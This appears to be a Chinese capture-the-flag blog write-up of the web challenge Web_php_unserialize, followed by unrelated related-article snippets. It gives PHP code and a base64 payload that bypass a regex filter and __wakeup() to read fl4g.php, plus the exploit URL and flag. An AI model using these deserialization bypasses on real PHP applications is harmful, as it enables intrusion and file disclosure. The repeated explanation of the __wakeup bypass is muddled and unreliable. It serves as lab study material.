当前位置: 首页 > news >正文

攻防世界---web---Web_php_unserialize

1、题目描述

2、

3、分析代码

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显

5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客)

6、在源代码中我们需要绕过几个函数

<?php
class Demo { private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo ($a);                  
?>

7、运行代码可以看到序列后的结果

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

将a的值进行编码

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

8、

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

 

9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

10、

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

相关文章:

攻防世界---web---Web_php_unserialize

1、题目描述 2、 3、分析代码 class Demo { private $file fl4g.php; }&#xff1a;定义了一个名为Demo的类&#xff0c;该类有一个私有属性$file&#xff0c;默认值为fl4g.php。 $a serialize(new Demo);&#xff1a;创建了一个Demo类的实例&#xff0c;并对其进行序列化&a…...

嵌入式学习记录

一 环境搭建 1.Ubuntu ssh登陆开发板&#xff0c;短命令替换ssh命令 交叉编译命令 sudo gedit ~/.bashrc # 文件结尾加入&#xff1a; alias tob"ssh root192.168.1.104" alias gb"arm-buildroot-linux-gnueabihf-gcc"往后终端输入top 相当于输入ssh roo…...

使用from…import语句导入模块

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 在使用import语句导入模块时&#xff0c;每执行一条import语句都会创建一个新的命名空间&#xff08;namespace&#xff09;&#xff0c;并且在该命名…...

idea mac快捷键

Mac快捷键 快捷键 说明 ⌘ F 在当前窗口查找 ⌘ ⇧ F 在全工程查找 ⌘ ⇧ ⌥ N 查找类中的方法或变量 F3 / ⇧ F3 移动到搜索结果的下/上一匹配处 ⌘ R 在当前窗口替换 ⌘ ⇧ R 在全工程替换 ⌘ ⇧ V 可以将最近使用的剪贴板内容选择插入到文本 ⌥…...

Day1——一些感想,学习计划和自我激励(不重要,跳过吧)

笨人刚刚接触计算机的时候&#xff0c;属于是两眼一抹黑。高考后玩了一整个暑假&#xff0c;脑子已经丢掉了&#xff0c;学起来很痛苦&#xff0c;但是也在学习过程中接触到了很多新鲜的东西&#xff0c;现在对于计算机的各种方向&#xff0c;我都很想试试&#xff08;试试就逝…...

网络安全渗透工具汇总

一、HackBar github地址&#xff1a;https://github.com/Mr-xn/hackbar2.1.3.git 介绍 HackBar是一款基于浏览器的渗透测试工具&#xff0c;可以简化目标网站的攻击流程。它可以轻松地注入JavaScript和其他脚本&#xff0c;进行SQL注入、XSS攻击、各种类型的扫描等。该工具…...

JavaScript 学习笔记 总结

回顾&#xff1a; Web页面标准 页面结构&#xff1a;HTML4、HTML5页面外观和布局&#xff1a;CSS页面行为&#xff1a;JavaScript强调三者的分离前后端分离开发模式 响应式设计Bootstrap框架入门 Bootstrap总结 基础 下载和使用基础样式&#xff1a;文本样式、图片样式、表格…...

分布式架构与分布式理论

文章目录 分布式架构什么是分布式系统分布式系统特性分布式系统面临的问题 分布式理论数据一致性CAP理论BASE理论 分布式架构 什么是分布式系统 分布式系统是一个硬件或软件组件分布在不同的网络计算机上&#xff0c;彼此之间仅仅通过消息传递进行通信和协调的系统。 所谓分…...

Qt——前言

一、Qt介绍 ​ **Qt技术特指用来桌面应用开发&#xff1b;**客户端开发的重要任务就是编写和用户交互的界面&#xff1b;而与用户交互的界面有两种典型风格&#xff0c;1.命令行界面/终端界面&#xff0c;TUI&#xff1b;2.图形化界面&#xff0c;GUI&#xff1b; ​ Qt就是用…...

RN:Error: /xxx/android/gradlew exited with non-zero code: 1

问题 执行 yarn android 报错&#xff1a; 解决 这个大概率是缓存问题&#xff0c;我说一下我的解决思路 1、yarn doctor 2、根据黄色字体提示&#xff0c;说我包版本不对&#xff08;但是这个是警告应该没事&#xff0c;但是我还是装了&#xff09; npx expo install --…...

今日科普:了解、预防、控制高血压

高血压&#xff0c;常被称为“隐形的健康威胁”&#xff0c;许多患者可能在毫无预警的情况下发病&#xff0c;且患病率逐年攀升&#xff0c;同时患者群体逐渐年轻化&#xff0c;高血压虽然难以根治&#xff0c;但并不可怕&#xff0c;真正可怕的是血压长期居高不下&#xff0c;…...

Spark关于 ExpressionEncoder[T] 以及 RowEncoder 以及Spark怎么做外部数据和内部数据的转换

背景 本文基于 Spark 3.3, 最近在用 Spark Api 做 DataSet[Row] 转换的时候遇到了一些 Spark内部转换的问题, 在此记录一下。 杂谈 我们知道在Spark中分为 InternalRow和Row&#xff0c; 前者是 Spark 内部的使用的一行数据的表示&#xff0c;后者是给Spark开发者使用的行数…...

D-Day 上海站回顾丨以科技赋能量化机构业务

5月31日下午&#xff0c;DolphinDB 携手光大证券&#xff0c;在上海成功举办 D-Day 行业交流会。三十余位来自私募机构的核心策略研发、量化交易员、数据分析专家们齐聚现场&#xff0c;深入交流量化投研交易过程中的经验、挑战及解决方案。 DolphinDB 赋能机构业务平台 来自光…...

业财一体化的重点、难点和模式

业财一体化的内涵是企业将经营活动、财务管理、经营决策等进行科学的融合和管理&#xff0c;进而提高企业经营管理和财务决策的科学性&#xff0c;同时&#xff0c;基于IT技术、流程再造和组织重构更好的保障企业价值创造功能的实现。其涵盖管理循环、业务循环、信息循环三个双…...

gorse修改开源项目后,如何使用Docker compose发布

代码修改 git checkout v0.4.15 修改代码后提交。 镜像构建 export GOOSlinux export GOARCHamd64 export GOMAXPROCS8go build -ldflags"-s -w -X github.com/zhenghaoz/gorse/cmd/version.Version$(git describe --tags $(git rev-parse HEAD)) -X github.com/zhengh…...

Bowyer-Watson算法

数学原理及算法过程 Delaunay 三角剖分是一种特殊的三角剖分方法&#xff0c;它满足以下两个重要性质&#xff1a; 最大化最小角性质&#xff1a;Delaunay 三角剖分通过避免细长的三角形来最大化所有三角形的最小角。空外接圆性质&#xff1a;在 Delaunay 三角剖分中&#xf…...

计算机基础之:fork进程与COW机制

在Unix-like操作系统中&#xff0c;fork()是一个系统调用&#xff0c;用于创建一个与调用进程&#xff08;父进程&#xff09;几乎完全相同的新进程&#xff08;子进程&#xff09;&#xff0c;包括父进程的内存空间、环境变量、文件描述符等。这个过程是通过写时复制&#xff…...

47.各种类型的线程池

线程池继承体系 Executor(interface)->ExecutorService(interface)->ThreadPoolExecutor(class) Executors.newFixedThreadPool 核心线程数最大线程数&#xff08;没有救急线程被创建&#xff09;&#xff0c;所以也无需超时时间阻塞队列LinkedBlockingQueue,可以放任意…...

多目标优化-NSGA-II

文章目录 一、前置知识NSGA-II帕累托前沿 二、算法流程1.NSGA2.NSGA-II 一、前置知识 1.NSGA(非支配排序遗传算法):旨在同时优化多个冲突的目标函数&#xff0c;寻找帕累托前沿上的解集。 什么是多个冲突的目标: 比如你看上了一辆车&#xff0c;你既想要它便宜&#xff0c;又…...

元宇宙数字藏品交易所,未来发展的大趋势

随着科技的飞速进步&#xff0c;元宇宙以其独特的魅力为数字世界绘制了一幅前所未有的宏伟蓝图。在这一宏大的背景下&#xff0c;数字藏品交易所作为连接虚拟与现实的桥梁&#xff0c;正以其卓越的优势&#xff0c;引领着数字藏品市场迈向新的高度。 首先&#xff0c;元宇宙为…...

[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?

&#x1f9e0; 智能合约中的数据是如何在区块链中保持一致的&#xff1f; 为什么所有区块链节点都能得出相同结果&#xff1f;合约调用这么复杂&#xff0c;状态真能保持一致吗&#xff1f;本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里&#xf…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

MongoDB学习和应用(高效的非关系型数据库)

一丶 MongoDB简介 对于社交类软件的功能&#xff0c;我们需要对它的功能特点进行分析&#xff1a; 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具&#xff1a; mysql&#xff1a;关系型数据库&am…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 &#xff08;一&#xff09;多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如&#xff0c;当用户上传一张“蓝色连衣裙”的图片时&#xff0c;接口可自动提取图像中的颜色&#xff08;RGB值&…...

【AI学习】三、AI算法中的向量

在人工智能&#xff08;AI&#xff09;算法中&#xff0c;向量&#xff08;Vector&#xff09;是一种将现实世界中的数据&#xff08;如图像、文本、音频等&#xff09;转化为计算机可处理的数值型特征表示的工具。它是连接人类认知&#xff08;如语义、视觉特征&#xff09;与…...

uniapp微信小程序视频实时流+pc端预览方案

方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度​WebSocket图片帧​定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐​RTMP推流​TRTC/即构SDK推流❌ 付费方案 &#xff08;部分有免费额度&#x…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

React---day11

14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store&#xff1a; 我们在使用异步的时候理应是要使用中间件的&#xff0c;但是configureStore 已经自动集成了 redux-thunk&#xff0c;注意action里面要返回函数 import { configureS…...

20个超级好用的 CSS 动画库

分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码&#xff0c;而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库&#xff0c;可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画&#xff0c;可以包含在你的网页或应用项目中。 3.An…...